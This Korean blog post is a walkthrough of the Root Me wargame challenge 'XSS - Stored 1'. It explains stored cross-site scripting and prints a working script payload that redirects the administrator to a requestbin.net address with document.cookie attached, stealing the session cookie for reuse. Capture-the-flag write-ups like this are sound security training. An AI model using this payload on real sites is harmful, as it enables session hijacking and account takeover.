워게임/Root Me

[Root Me] XSS - Stored 1 - 웹해킹 / 크로스사이트스크립트

SecurityMan 2022. 3. 23. 08:00

XSS - Stored 1 문제

드디어 웹 취약점을 이용한 문제가 처음으로 나왔다.

administrator의 session cookie를 훔치라고 한다.


XSS 는 Cross Site Script 의 약자로

웹서버에 관리자가 아닌 사람이 악성 스크립트를 삽입할 수 있는 취약점이다.

반응형


보통 공격자들은 자신의 서버를 하나 열어놓은 뒤에,

XSS 취약점을 이용하여 타겟 웹 서버에 악성 스크립트를 삽입한 뒤,

사용자들의 인증정보(쿠키값, 세션값 등)를 탈취하는데 이용한다.


문제페이지에 접속하면 이렇게 간단한 게시판이 나오게 된다.


TEST / hello world 라고 한번 입력해봤다.

입력한 내용이 잘 저장되는것을 확인할 수 있다.


웹페이지는 HTML 로 구성되어 있다.

HTML의 특징은 각각의 구성요소를 <> 를 이용해서 구분한다는 것이다.

위 사진처럼 <head> 태그, <body> 태그 등등 이런 태그들로 웹페이지를 구성한다.

XSS는 게시판 처럼 사용자의 입력을 받는 페이지에서 <> 가 입력되었을 때,

서버측에서 적절하게 필터링하지 않아서 발생하게 된다.

스크립트를 실행시킬 수 있는 <script> 태그를 이용해서 이렇게 입력해본다.

<script>alert(1)</script> 라고 입력했을때, alert(1) 함수로 인해 알림창이 뜬다면

XSS 취약점이 존재하는 것이다.


send 버튼을 누르면 바로 이렇게 알림창이 뜨게 된다.

입력했던 <script> 태그가 웹페이지에 삽입되어서 스크립트가 실행된 것이다.

웹페이지가 변조되었다고 생각하면 된다.


f12를 눌러 개발자도구로 웹소스를 보면 더 잘 보인다.

<script> 태그가 잘 들어가있는걸 볼 수 있다.

이제 XSS 취약점이 존재한다는걸 알았으니 본격적으로 쿠키값을 훔칠 차례이다.

가장먼저 필요한건 공격자의 서버이다.


직접 서버를 올려도 되지만 솔직히 그건 너무 귀찮기 때문에

requestbin 이라는 웹사이트를 이용한다.
(https://requestbin.net/)

각종 http 패킷 전송을 테스트해볼 수 있는 페이지이다.

Create a RequestBin 버튼을 누르면 나만의 웹서버가 임시로 생성된다.

이렇게 생성된 URL을 잘 복사해서 보관해둔다.

이제 administartor가 내 게시글을 읽고, 읽음과 동시에 나의 requestbin으로 이동하며,

이동과 동시에 쿠키값을 가져가도록 스크립트를 짜면 된다.

<script>document.location.href="http://requestbin.net/r/3e3saam6/?cookie="+document.cookie</script>

이렇게 쓰면된다.

document.location.href="공격자 주소?cookie="

이 부분은 공격자 주소로 보내버리고 '?' 뒤에 cookie 라는 변수를 선언해서 쿠키값을 담을수 있도록 한것이다.

그리고 cookie 변수에 document.cookie 를 이용해서 쿠키값을 저장하도록 해놨다.

이렇게 쓰고 send 버튼을 누른뒤 administrator가 읽을때까지 잠시 기다린다.

잠시 뒤에 requestbin 페이지로 가서 새로고침을 눌러보면

administrator 의 쿠키값이 탈취된것을 확인할 수 있다.

쿠키값을 이용하면 administrator의 권한을 그대로 행사할 수 있다.

반응형